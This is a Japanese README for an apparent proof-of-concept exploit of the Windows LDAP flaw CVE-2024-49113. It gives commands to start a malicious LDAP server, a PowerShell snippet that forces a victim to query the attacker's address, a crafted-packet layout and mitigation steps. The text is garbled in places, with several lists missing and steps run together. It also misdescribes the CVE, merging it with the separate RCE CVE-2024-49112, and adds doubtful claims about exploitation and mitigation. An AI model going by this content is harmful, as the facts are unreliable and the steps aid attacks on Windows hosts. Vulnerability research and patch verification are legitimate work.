
cve-2024-49113-ldap_nightmare_reproduction の再現
Windows LDAP クライアントのリモートコード実行(ヒープベースのバッファオーバーフロー)
| 項目 | 値 |
|---|---|
| CVE | CVE-2024-49113 |
| エイリアス | LDAP Nightmare |
| CVSS 3.1 | 9.8 — 緊急 |
| CWE | CWE-122 — ヒープベースのバッファオーバーフロー |
| 発見者 | SafeBreach(2025年1月に PoC を公開) |
| 悪用状況 | 実環境での活発な悪用が確認済み |
| パッチ | Microsoft 2024年12月 Patch Tuesday(KB5048685 / KB5048652) |
CVE-2024-49113 は、Windows LDAP クライアントライブラリ(wldap32.dll)における深刻なヒープベースのバッファオーバーフローの脆弱性です。認証されていないリモートの攻撃者が、LDAP クエリを発行する被害者の Windows マシン(例:ディレクトリ参照を実行するドメインコントローラ)に対して特別に細工された LDAP 応答を送信することで、この脆弱性を引き起こせます。
Windows ドメインコントローラは他のドメインコントローラ、メンバーサーバー、グローバルカタログサーバーへ日常的に LDAP クエリを送信するため、この欠陥は Active Directory 環境で特に危険です。悪用に成功すると、(ドメインコントローラ上で)Local System アカウントのコンテキストでリモートコード実行が達成され、攻撃者は標的のサーバーを完全に制御できるようになります。
公開された概念実証コード(通称「LDAP Nightmare」)は、Microsoft が2024年12月の Patch Tuesday で修正プログラムを出荷した後、SafeBreach によって 2025年1月に公開されました。
この脆弱性は、RFC 4511 で定義されている Lightweight Directory Access Protocol(LDAP)クライアントの Windows 実装である wldap32.dll に存在します。
LDAP クライアントが検索結果エントリ(Search Result Entry)応答を受信すると、ライブラリは BER(Basic Encoding Rules)デコーダのループ内で LDAP メッセージのプロトコルデータユニット(PDU)を解析します。LDAP 属性値の解析中におけるヒープメモリ割り当てロジックの欠陥により、デコーダがヒープ割り当てバッファの境界を超えてデータを書き込む原因となります。
具体的には:
Windows Server および Windows Client のサポート対象のすべてのエディションは、2024年12月10日のセキュリティ更新プログラムより前のバージョンで影響を受けます:
この CVE に対処する 2024年12月の Patch Tuesday 更新プログラムは以下のとおりです:
┌──────────────────┐ LDAP Query ┌─────────────────────┐
│ Victim Host │ ──────────────────────────▶ │ Attacker LDAP │
│ (Windows DC) │ │ Server (This PoC) │
│ │ ◀────────────────────────── │ │
│ wldap32.dll │ Crafted LDAP Response │ exploit.py │
│ overflowed │ (heap overflow payload) │ port 389 │
└──────────────────┘ └─────────────────────┘
被害者側で、インストールされている KB を確認します:
Get-HotFix | Where-Object { $_.HotFixID -match "KB5048685|KB5048652" }
結果が返されない場合、そのシステムは未パッチであり脆弱です。
攻撃者マシンで、この PoC を実行します:
python exploit.py --listen-ip 192.168.1.100 --listen-port 389
192.168.1.100 は攻撃者の IP アドレスです。
注記: Linux ではポート 389 へのバインドに root(sudo)権限が必要です。Windows では管理者権限が必要な場合があります。
被害者マシンから(PowerShell を管理者として実行):
# Force an LDAP search against the attacker server
$ldapPath = "LDAP://192.168.1.100/DC=evil,DC=local"
$searcher = New-Object DirectoryServices.DirectorySearcher($ldapPath)
$searcher.Filter = "(objectClass=*)"
$searcher.SearchRoot = $null
try {
$results = $searcher.FindAll()
} catch {
Write-Host "Connection attempted — check the PoC server for crash details"
}
あるいは、ldp.exe(Windows Server / RSAT に同梱)を使用します:
DC=evil,DC=local[*] Sending malicious search result entry... を表示し、細工された応答を送信します。lsass.exe または LDAP クライアントプロセスがアクセス違反(0xC0000005)でクラッシュするか、システムが BSOD になる可能性があります。隔離された環境で PoC を実行するための Dockerfile が提供されています:
docker build -t ldap-nightmare .
docker run --rm -p 389:389 --cap-add=NET_ADMIN ldap-nightmare
同梱の exploit.py は以下を実装しています:
--listen-ip、--listen-port、--payload-size)で設定できます。# Start the malicious server
sudo python exploit.py --listen-ip 0.0.0.0 --listen-port 389
# In another terminal, watch for connections
tcpdump -i any port 389 -X
2024年12月10日の Patch Tuesday 更新プログラムをインストールします:
パッチを直ちに適用できない場合:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
-Name "LDAPServerIntegrity" -Value 2 -Type DWord
Restart-Service NTDS
wevtutil qe "Windows PowerShell" /f:text /q:"*[System[EventID=1000]]"
この資料は、教育および許可されたセキュリティテストの目的のみで提供されています。 明示的な許可なくシステムに対して CVE-2024-49113 を悪用することは違法です。著者は、この情報の誤用について一切の責任を負いません。システムをテストする前に、必ず書面による許可を取得してください。
| オフセット | フィールド | 値 |
|---|
| 0x00 | LDAP メッセージタグ(0x30) | シーケンス |
| 0x01–0x02 | 全長(細工済み) | 大きな値がオーバーフローをトリガーします |
| 0x03 | ProtocolOp(0x64) | 検索結果エントリ |
| 0x04–0x0E | LDAP 結果フィールド | 標準ヘッダー |
| 0x0F+ | 属性リスト | オーバーフロートリガー(長さ = 0xFFFF) |
| ソース | URL |
|---|
| Microsoft Security Response Center | MSRC CVE-2024-49113 |
| SafeBreach(最初の発見者) | SafeBreach ブログ — LDAP Nightmare |
| NVD | NVD CVE-2024-49113 |
| CWE-122 | ヒープベースのバッファオーバーフロー |
| RFC 4511 | LDAPv3 プロトコル |
| 2024年12月 Patch Tuesday | Microsoft リリースノート |